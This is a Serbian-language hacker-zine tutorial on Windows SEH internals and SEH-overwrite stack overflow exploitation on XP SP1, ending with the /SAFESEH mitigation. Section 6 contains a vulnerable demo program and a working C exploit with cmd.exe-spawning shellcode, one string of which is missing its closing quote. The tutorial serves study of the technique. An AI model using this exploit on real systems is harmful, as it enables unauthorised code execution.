
                            ...................
                      ...::: phearless zine #3 :::...

.................>---[ Exploiting Stack BOF over SEH ]---<..................

............................>---[ by `and ]---<.............................
		                                im_happy_icefor[at]yahoo[dot]com 


   [1] Intro
   [2] Sta je SEH ?
   [3] Sta se desava kada se desi Exception ?
   [4] Kako da instaliramo "exception handler" ? Primer
   [5] Stack Overflow
   [6] Vuln\Exploit example
   [7] /SAFESEH
   [8] Outro

///////////////////////////////////////////////////////////////////////////
--==<[ 1. Intro
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Zdravo, evo nasao sam temu za razmisljanje pa rekoh da to bacim na "papir"
i podelim sa vama. Da bi me pratili potrebno vam je da ste upoznati sa 
Stack BOF-om i naravno da znate "pomalo" C\Asm ... Ja koristim VC 6++ i 
WindowsXP Sp1...

Prica pocinje tako sto vas moram upoznati sa nekim mehanizmima operativnog 
systema kao sto su TIB\TEB i SEH.

Thread Information Block (TIB) ili Thread Environment Block (TEB) su jedna 
ista stvar samo se TIB zove kod Win95\98 a TEB kod WinNT systema. Sluzi 
kao sto samo ime kaze za smestanje podataka o nekom thread-u. Pristupanje 
se vrsi preko FS registra.

Evo nekih zanimljivih sekcija u TEB-u :

--------------------------------------------------------------------------
 - 00h DWORD pvExcept polje sadrzi pointer na Structured Exception 
                      Handling strukturu
--------------------------------------------------------------------------
 - 04h DWORD pvStackUserTop polje sadrzi najvecu adresu thread stacka
--------------------------------------------------------------------------
 - 08h DWORD pvStackUserBase polje sadrzi adresu najnize trenutno 
                             izrsavane stranice na stacku 
--------------------------------------------------------------------------
 - 10h DWORD FiberData polje sadrzi podatak o verziji systema na kojem je 
                             predvidjen da radi neki thread
--------------------------------------------------------------------------
 - 14h DWORD pvArbitrary polje je ostavljeno za smestanje bilo cega, tj 
                         aplikacija ga moze koristiti za bilo sta
--------------------------------------------------------------------------
 - 18h DWORD ptibSelf polje sadrzi pointer na samog sebe (pointer na TIB)
--------------------------------------------------------------------------
 - 20h DWORD processID polje sadrzi processID
--------------------------------------------------------------------------
 - 24h DWORD threadID polje sadrzi thread's ID
--------------------------------------------------------------------------
 - 2Ch DWORD pvTLSArray polje sadrzi pointer na Thread Local Storage (TLS) 
--------------------------------------------------------------------------

Videli smo da registar FS pokazuje na TEB, a FS:[0] pokazuje na 
"Structured Exception Handler" ( SEH ). 

///////////////////////////////////////////////////////////////////////////
--==<[ 2. Sta je SEH ?
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

SEH je zamisljem kao mehanizam koji ce obavestavati korisnika o greskama u
programima i ujedno ih zaobilaziti ako je to moguce. Radi tako sto 
aplikacija ili OS instaliraju "callback" rutine nazvane "exception 
handlers", a instaliraju ih u trenutku izvrsavanja programa ( run-time ),
i ako dodje do exception-a OS poziva SEH tj neku od "callback" rutina i 
dalje prepusta njima da se pobrinu oko resavanja problema.


Ako se problem ne moze resiti preko nekog "exception handler-a", 
SEH omogucava da se aplikacija zatvori na sto bezbedniji nacin 
( cuvanje podataka, oslobadjanje memorije, ... )

///////////////////////////////////////////////////////////////////////////
--==<[ 3. Sta se desava kada se desi Exception ?
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Kada se desi "exception" windows odlucuje da li ce se exception proslediti 
"exception handleru" ako se prosledjuje onda se program zaustavlja i salje 
se EXCEPTION_DEBUG_EVENT debageru. Ako program nije debagovan system salje
exception "per-thread" handleru na koji pokazuje FS:[0], exception handler 
obradjuje exception ili ako nije u mogucnosti da ga obradi salje ga 
sledecem handleru u lancu. Ako nijedan handler ne moze da obradi exception 
on se ponovo salje debageru. U slucaju da i on ponovo ne moze da obradi 
exception poziva se finalni exception handler koji je postavljen sa API 
funkcijom SetUnhandledExceptionFilter. U slucaju da i tada ne dolazi do 
obrade exception-a pojavljuje se MSGBOX koji nas obavestava o exception-u i 
po nekad postoji mogucnost da se program debaguje, u slucaju da se program
ne moze debagovati poziva se ExitProcess i program se obustavlja.

Spomenuo sam da se poziva sledeci handler u lancu tj to se zove 
"Stack Unwind" ! 
Da bi ovo bolje razumeli moramo da vidimo na sta ustavri pokazuje FS:[0] :


_EXCEPTION_REGISTRATION struc
     prev    dd      ?
     handler dd      ?
 _EXCEPTION_REGISTRATION ends


U ovoj strukturi "handler" je pointer na  "_except_handler callback" 
strukturu koja je zaduzena za rad sa exception-ima. Pointer "prev" pokazuje
na sledeci exception handler u slucaju da prvi ( tj zadnji instaliran na 
koji pokazuje "handler" ) nije zaduzen za tu vrstu exceptiona.

Znaci ako taj handler ne moze da obradi exception poziva se handler na koji
pokazuje ponter "prev", sto bi moglo da se prikaze na primeru ...

 Imamo neki program kod kojeg imamo tri funkcije A,B,C i u svakoj funkciji
 imamo instaliram handler, sto bi na stacku izgledalo ovako :

           Stack :
 ---------------------------
 | Funkcija C :            |   /--> _EXCEPTION_REGISTRATION struc
 |              Some Code  |   |     prev    dd      ? -------------\
 |              Handler 3 -----/     handler dd      ?              |
 |              Some Data  |        _EXCEPTION_REGISTRATION ends    |
 |-------------------------|                                        |
 |              RET C      |                                        |
 | Funkcija B :            |   /--> _EXCEPTION_REGISTRATION struc   |
 |              Some Code  |   |     prev    dd      ? -------------|----\
 |              Handler 2 -----/     handler dd      ? <------------/    |
 |              Some Data  |       _EXCEPTION_REGISTRATION ends          |
 |-------------------------|                                             |
 |              RET B      |                                             |
 | Funkcija A  :           |   /--> _EXCEPTION_REGISTRATION struc        |
 |              Some Code  |   |     prev    dd      ?                   |
 |              Handler 1 -----/     handler dd      ? <-----------------/
 |              Some Data  |       _EXCEPTION_REGISTRATION ends
 |-------------------------|
 |              RET A      |
 |              ...        |
 |              ...        |


Ako se desi exception u funkciji 3 poziva se Handler 3 u slucaju da on ne 
moze da obradi exception poziva se Handler 2 jer na njega pokazuje pointer 
"prev", zatim ako i on ne moze da obradi exception poziva se Handler 1, u 
slucaju da Handler 1 moze da obradi exception moze se desiti da treba da 
"sredi" neke podatke u Funkciji B ili C i to moze da uradi takozvanom 
"Unwind" taktikom, tj ponovo ce pozvati ostale handlere u lancu.

"Unwind" se inicijalizira API funkcijom RtlUnwind ili u Asm-u bi to 
izgledalo ovako :

PUSH Return value   
PUSH pExceptionRecord
PUSH OFFSET CodeLabel 
PUSH LastStackFrame 
CALL RtlUnwind

Return value - return vrednost funkciji ( ne koristi se )

pExceptionRecord - pointer na exception record

CodeLabel - mesto gde se nastavlja tok programa posle Unwind-a obicno je 
            to adresa odmah posle poziva API-a

LastStackFrame - stack frame gde se zavrsava "Unwind"


Ovde jos mozemo da pogledamo kako izgleda struktura exception handlera :
 
 EXCEPTION_DISPOSITION
 __cdecl _except_handler(
     struct _EXCEPTION_RECORD *ExceptionRecord,
     void * EstablisherFrame,
     struct _CONTEXT *ContextRecord,
     void * DispatcherContext
     );

Ovde nam je interesantan prvi parametar a to je EXCEPTION_RECORD struktura
koja izgleda ovako :

typedef struct _EXCEPTION_RECORD {
 DWORD ExceptionCode;
 DWORD ExceptionFlags;
 struct _EXCEPTION_RECORD *ExceptionRecord;
 PVOID ExceptionAddress;
 DWORD NumberParameters;
 DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
 }  EXCEPTION_RECORD;

Ovde su nam od parametra zanimljivi ExceptionCode koji predstavlja 
indetifikacioni broj exception-a koji je OS dodelio :

C0000005h  Read or write memory violation
C0000094h  Divide by zero 
C00000FDh  The stack went beyond the maximum available size
80000001h  Violation of a guard page in memory set up using Virtual Alloc 
C0000025h  A non-continuable exception ? the handler should not try to 
           deal with it 
C0000026h  Exception code used the by system during exception handling 
80000003h  Breakpoint occurred because there was an INT3 in the code 
80000004h  Single step during debugging

 ps Ovo sam ostavio na engleskom jer je mnogo glupo kad se prevede na 
        srsko-hrvatski


ExceptionFlags :

 0 Exception se moze popraviti
 1 Exception se ne moze popraviti
 2 Stack Unwid-ing

ExceptionAddress je adresa gde se desio exception.

///////////////////////////////////////////////////////////////////////////
--==<[ 4. Kako da instaliramo "exception handler" ? Primer
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

#include <windows.h>
#include <stdio.h>

DWORD  scratch;

EXCEPTION_DISPOSITION
__cdecl
_except_handler(
    struct _EXCEPTION_RECORD *ExceptionRecord,
    void * EstablisherFrame,
    struct _CONTEXT *ContextRecord,
    void * DispatcherContext )
{
    printf( "Sada smo u exception handler-u !\n" );
    ContextRecord->Eax = (DWORD)&scratch;  // Menjamo EAX na neku
    return ExceptionContinueExecution;     // "normalnu" adresu
}


int main()
{
    DWORD handler = (DWORD)_except_handler;

    // Instaliramo Exception Handler
    __asm
    {                           // Pravimo jedan exception handler
        push    handler         // Adresa handler-a
        push    FS:[0]          // Adresa predhodnog handler-a
        mov     FS:[0],ESP      // Instal EXECEPTION_REGISTRATION
    }

    // Izazivamo gresku u programu
    __asm
    {
        mov     eax,0           // Eax = 0
        mov     [eax], 1        // Pokusavamo da upisemo 1 na adresi
    }                           // 00000000

    printf( "Posle exception-a !\n" );


    // Brisemo Exception Handler
    __asm
    {                           // Brisemo EXECEPTION_REGISTRATION record
        mov     eax,[ESP]       // Uzimamo pointer predhodnog record-a
        mov     FS:[0], EAX     // Instaliramo prethodni record
        add     esp, 8          // Brisemo EXECEPTION_REGISTRATION
    }

    return 0;
} 


Ovaj program je veoma jednostavan, prvo smo instalirali nas 
"exception handler", zatim smo izazvali namerno exception upisivanjem 
vrednosti na nepostojecoj adresi, i na kraju brisemo nas handler sa steka.
Nas handler ispravlja gresku u programu menjajuci adresu registra EAX na 
neku po kojoj je moguce pisati i obavestava nas da se izvrsava stampanjem 
poruke.

///////////////////////////////////////////////////////////////////////////
--==<[ 5. Stack Overflow
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Buffer Overflow nastaje kada u neki prostor na steku za koji je rezervisan
odredjeni deo memorije ubacimo vise podataka nego sto je predvidjeno i 
time prepisemo neki deo neke druge variable ili neki od registra EBP/ESP 
ili neki drugi deo koda koji ne bismo smeli prepisati. Ova ranjivost 
omogucava menjanje Instruction Pointera [EIP] i samim tim izvrsavanje 
naseg koda.

Da ne duzim sa ovim ( jer nije tema dana :) procitajte moj tut o 
Stack overflow-u ... 
Google pa : w32sbofflfba.pdf, ili mi posaljite e-mail na :
im_happy_icefor@yahoo.com 

Kako u nekim slucajevima nije moguce direktno prepisivanje EIP registra, 
moramo se snalaziti na druge nacine tj u ovom slucaju instaliranjem svog 
"Exception Handlera" i izvrsavanjem istog. 

Ili kako bi drugacije rekli : Izvrsicemo overflow sve do Exception 
Handlera, prepisati ga da pokazuje na adresu na kojoj smo tokom overflowa 
postavili nas shellcode.

///////////////////////////////////////////////////////////////////////////
--==<[ 6. Vuln\Exploit example
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Postoji mnogo primera koje mozemo da exploatisemo ali evo ja cu uzeti 
jedan malo prostiji ( jer je ipak ovaj txt za pocetnike :) :


//lameseh2.c//

#include<stdio.h>
#include<string.h>
#include<windows.h>

int ExceptionHandler(void);
int main(int argc,char *argv[]){

	char temp[70];

if (argc != 2) exit(0);

 __try {

	strcpy(temp,argv[1]);

	} __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}


Dakle vidimo da mozemo izvrsiti overflow ( jer imamo ranjivu funkciju 
strcpy() ) i samim tim mozemo da prepisemo SEH.


Pogledajmo kako izgleda stek :

...
[junk                        ]
[buf                         ]
[junk                        ]
[pointer to next SEH record  ]
[pointer to exception handler]
[junk                        ]
...


U trenutku kada je napravljen exception poziva se funkcija za rad sa 
exeptio-nima na koju pokazuje "pointer to exception handler", a to dakle 
znaci da ako ovu adresu prepisemo mozemo promeniti tok programa tj 
usmeriti ga da izvrsi nas kod.


Pa kada znamo sada sve ovo ajde da napisemo exploit ... 

Prvo nam treba shellcode, a to ce da bude jedan jednostavan kod koji 
pokrece cmd.exe i izgleda ovako :

\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64
\x57\xC6\x45\xF8\x01\x8D\x45\xFC\x50\xB8\x35\xFD\xE6\x77\xFF\xD0\xCC

Dalje sto treba da znamo to je da kada se desi neki overflow na XPSP1 
registar EBX pokazuje na SEH record za taj handler, takodje XOR-uju se 
svi registry ( tj svi registry menjaju svoju vrednost u 00000000 ), i to 
na prvi pogled izgleda kao problem ali nije ... Ako pogledamo stack 
videcemo da ESP+8 pokazuje na SEH record a to jednostavno znaci da treba 
izvrsiti sledece instrukcije :

pop register 
pop register 
RET

Sto bi bilo isto kao i JMP EBX, adresa na kojoj se nalazi ova instrukcija 
je na XPSP1 0x77FA8CD5 ...

Ok, znaci stack izgleda ovako :

...
[junk                        ]     
[buf                         ]  <--Ovde cemo staviti na shellcode--\
[junk                        ]  <--------------+NOPs---------------|
[pointer to next SEH record  ]  0xEB069090 // Skoci 6by napred     |
[pointer to exception handler]  0x77FA8CD5 // Povratna adresa -----/
[junk                        ]
...

Pointer na sledeci SEH record menjamo adresom intrukcije koja skace preko 
fake handlera.

Dalje treba da nadjemo gde se nalazi nas exception handler tj da vidimo 
"koliki" overflow treba da izvrsimo. To cemo uraditi sa OllyDebuger-om 
( vi mozete i neki drugim ali meni je ovako najlakse ), otvorite prog i 
onda na Debug -> Arguments, i ovde sada proizvoljno upisujte argumente sve
dok ne izvrisite overflow ( u ovom slucaju 70 znakova ), kada to uradite 
posmatrajte stack window i nastavite oveflow sve dok ne naidjete na nesto 
slicno ovome :

0012FFAC   ????????
0012FFB0   ????????
0012FFB4   00401530  lameseh2.__except_handler3
0012FFB8   00420148  lameseh2.00420148
0012FFBC   ????????
0012FFC0   ????????

Tada mozete da vidite tj da izbrojite koliko je udaljen vas "exception 
handler" od pocetka bafera koji popunjavate. Kada to saznate ( u mom 
slucaju je to 208 ) mozete krenuti sa pisanjem exploita :


//exploit2.c//


#include <stdio.h>
#include <string.h>

main()
{
char filename[] = "lameseh2.exe "; // Ime naseg ranjivog programa + razmak

char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57"
                   "\xC6\x45\xFC\x63" //c 63
                   "\xC6\x45\xFD\x6D" //m 6D
                   "\xC6\x45\xFE\x64" //d 64
                   "\x57\xC6\x45\xF8"
                   "\x01\x8D\x45\xFC\x50\xB8"
                   "\x35\xFD\xE6\x77" // WinExec()
                   "\xFF\xD0\xCC";    // 35 by

char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
              "\x90\x90\x90\x90\x90;                        

// shellcode + nops 208 by

char sehrecord[] = "\x90\x90\x06\xEB";
char retn[]      = "\xD5\x8C\xFA\x77";

static char buffer[1000];  
strcat(buffer,filename);   
strcat(buffer,nops);       
strcat(buffer, shellcode); 
strcat(buffer,sehrecord);
strcat(buffer,retn);
system(buffer);           
}

I kada pokrenemo ovaj exploit pokrenucemo cmd.exe ! Ok ovo je bio jedan 
jednostavan primer da vam demonstrira kako o sve radi ! Predlazem vam da 
sve to pokusate pod malo drugacijim uslovima da bi sve to bolje razumeli 
:)
 
///////////////////////////////////////////////////////////////////////////
--==<[ 7. /SAFESEH
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

E jos sta treba da vam kazem to je da postoji mehanizam zastite protiv
ove vrste exploatisanja programa. A to je takozvani /SAFESEH flag kod 
compilera koji je ubacen od Visual Studio.NET 2003 verzije i nalazi se
takodje u XP service pack 2.

Da bi se se "exception handler" funkcija pozvala mora biti markirana sa
specijalnim atributom ( SAFESEH ) za vreme linkovanja programa i samim
tim pojavice se u "Safe Exception Handler Table". Ovo unapredjenje
onemogucava exploite koji koriste buffer overflow sa ciljem da prepisu
exception handler da ubace svoj kod i postave pointer na njega, tako sto 
se svaki handler trazi u Tabeli i ako nije registrovan ne izvrsava se.

Evo jednog malog primera kako da ubacite svoj handler u SAFESEH table :

// Neki kao nas handler //
// ...                  //

extern "C" EXCEPTION_DISPOSITION __cdecl 

MyExceptionFilter(  

      EXCEPTION_RECORD *pExceptionRecord,
      EXCEPTION_REGISTRATION_RECORD *pEstablisherFrame,
      CONTEXT *pContext,
      void *DispatcherContext

      )

{
      ...
      return ExceptionContinueSearch; 
}

// ...                  //


Sada napravite *.asm :

MyExceptionFilter proto
.safeseh MyExceptionFilter

Onda compile *.asm (ml.exe /safeseh ...),
i linkujete (link.exe /safeseh file ...) ... i to je to :)

///////////////////////////////////////////////////////////////////////////
--==<[ 8. Outro
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Ok stigli smo do kraja ... Da bi iskoristili ovu ranjivost potrebno je 
detaljno razumevanje mehanizma SEH-a pa sam se tako ja usredio vise na 
njegovo objasnjavanje nego na samo pianje exploita i shellcoda, za to sam 
vam vec rekao da potrazite moj tut o stack bof-u ili me cimnite na e-mail.

Predlazem da procitate ove textove :

- A Crash Course on the Depths of Win32 Structured Exception Handling by 
  Matt Pietrek

- http://spiff.tripnet.se/~iczelion/Exceptionhandling.html




greetz go to : - Lena
               - blackhatz team
